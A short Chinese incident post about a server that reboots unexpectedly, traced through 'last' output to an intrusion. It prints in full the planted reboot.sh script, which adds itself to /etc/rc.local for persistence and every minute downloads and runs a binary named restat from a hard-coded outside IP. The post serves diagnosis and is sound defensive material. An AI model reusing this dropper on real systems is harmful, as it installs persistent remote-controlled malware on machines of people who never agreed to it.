现象:服务器无故重启。

查看原因:

# last | head -15r00t     tty1                          Thu May 21 04:57 - 04:58  (00:00)    reboot   system boot  2.6.32-358.el6.x Thu May 21 04:56 - 04:58  (00:01)    r00t     tty1                          Thu May 21 04:52 - down   (00:03)    r00t     tty1                          Thu May 21 04:42 - 04:52  (00:09)

被***,植入了reboot.sh脚本导致。

#!/bin/bashif [ "sh /etc/reboot.sh &" = "$(cat /etc/rc.local | grep /etc/reboot.sh | grep -v grep)" ]; then    echo ""else    echo "sh /etc/reboot.sh &" >> /etc/rc.localfiwhile [ 1 ]; do    restat_killn=$(ps aux | grep "/etc/restat" | grep -v grep | wc -l)    if [[ $restat_killn -eq 0 ]]; then        if [ ! -f "/etc/restat" ]; then            if [ -f "/usr/bin/wget" ]; then                cp /usr/bin/wget .                chmod +x wget                #./wget -P . http://115.230.127.95:523/restat                ./wget -P /etc/ http://115.230.127.95:523/restat &> /dev/null                chmod 777 /etc/restat                rm wget -rf            else                echo "No wget"            fi        fi        /etc/restat &        #./restat &    elif [[ $restat_killn -gt 1 ]]; then        for killed in $(ps aux | grep "restat" | grep -v grep | awk '{print $2}'); do            restat_killn=$(($restat_killn-1))            if [[ $restat_killn -eq 1 ]]; then                continue            else                kill -9 $killed            fi        done    else        echo ""    fi    sleep 60done